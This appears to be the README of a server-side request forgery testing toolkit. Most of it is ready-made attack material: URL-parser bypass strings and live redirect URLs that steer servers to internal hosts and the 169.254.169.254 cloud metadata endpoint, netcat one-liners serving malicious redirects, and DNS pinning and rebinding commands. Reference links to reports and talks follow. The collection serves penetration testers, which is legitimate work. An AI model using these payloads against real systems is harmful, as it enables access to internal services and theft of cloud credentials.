SSRF (Server Side Request Forgery) testing resources

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Quick URL based bypasses:

http://google.com:80+&@127.88.23.245:22/#[email protected]:80/

http://127.88.23.245:22/+&@google.com:80#[email protected]:80/

http://google.com:80+&@google.com:80#[email protected]:22/

http://127.88.23.245:22/[email protected]:80/

http://127.88.23.245:22/#@www.google.com:80/

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htaccess - redirect test for various cases

Status codes: 300, 301, 302, 303, 305, 307, 308

Filetypes: jpg, json, csv, xml

Live demo:

jpg 301 response without and with a valid response body:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg

https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg

json 301 response without and with a valid response body:

https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json

https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json

https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json

https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json

csv 301 response without and with a valid response body:

https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv

https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv

https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv

https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv

xml 301 response without and with a valid response body:

https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml

https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml

https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml

https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml

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custom-30x - Custom 30x responses and Location header with PHP

Live demo:

https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

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custom-200 - Custom 200 response and Content-Location header with PHP

Live demo:

https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

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custom-201 - Custom 201 response and Location header with PHP

Live demo:

https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

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Minimal web server using netcat

while true ; do nc -l -p 80 -c 'echo -e "HTTP/1.1 302 Found\nContent-Type: application/json\nLocation: http://169.254.169.254/\n{\"a\":\"b\"}"'; done

while true ; do nc -l -p 554 -c 'echo -e "RTSP/1.0 301 Moved\nCSeq: 1\nLocation: http://169.254.169.254/"'; done

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ip.py - Alternate IP encoding tool useful for SSRF Testing

python ip.py IP PORT WhiteListedDomain EXPORT(optional)

python ip.py 169.254.169.254 80 www.google.com

python ip.py 169.254.169.254 80 www.google.com export

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DNS pinning

nslookup ssrf-169.254.169.254.localdomain.pw

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DNS pinning race condition

nslookup ssrf-race-169.254.169.254.localdomain.pw

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DNS Rebinding

pip install twised

python dns.py WhitelistedIP InternalIP Port

python dns.py 216.58.214.206 169.254.169.254 53

http://webcache.googleusercontent.com/search?q=cache:http://www.611eternity.com/DNSRebinding%E6%8A%80%E6%9C%AF%E5%AD%A6%E4%B9%A0/

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cloud-metadata.txt - Cloud Metadata Dictionary useful for SSRF Testing

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svg - SSRF with svg files

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ffmpeg - SSRF with ffmpeg

https://hackerone.com/reports/237381

https://hackerone.com/reports/243470

https://github.com/neex/ffmpeg-avi-m3u-xbin

https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf

https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g22371f2702_0_15

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iframe - SSRF with html iframe + URL bypass

Live demo:

http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/

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commonly-open-ports.txt - list of commonly open ports

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Java/Python FTP Injections Allow for Firewall Bypass

http://webcache.googleusercontent.com/search?q=cache:http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html

http://webcache.googleusercontent.com/search?q=cache:https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/

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SSRF + Gopher + Redis

http://webcache.googleusercontent.com/search?q=cache:http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/

https://webcache.googleusercontent.com/search?q=cache:http://antirez.com/news/96

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Top 5 features that are often prone to SSRF vulnerabilities:

https://webcache.googleusercontent.com/search?q=cache:https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF

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AppSecEU15-Server_side_browsing_considered_harmful.pdf

https://www.youtube.com/watch?v=8t5-A4ASTIU

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us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

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SSRF Tips

http://webcache.googleusercontent.com/search?q=cache:http://blog.safebuff.com/2016/07/03/SSRF-Tips/

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SSRF bible

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM

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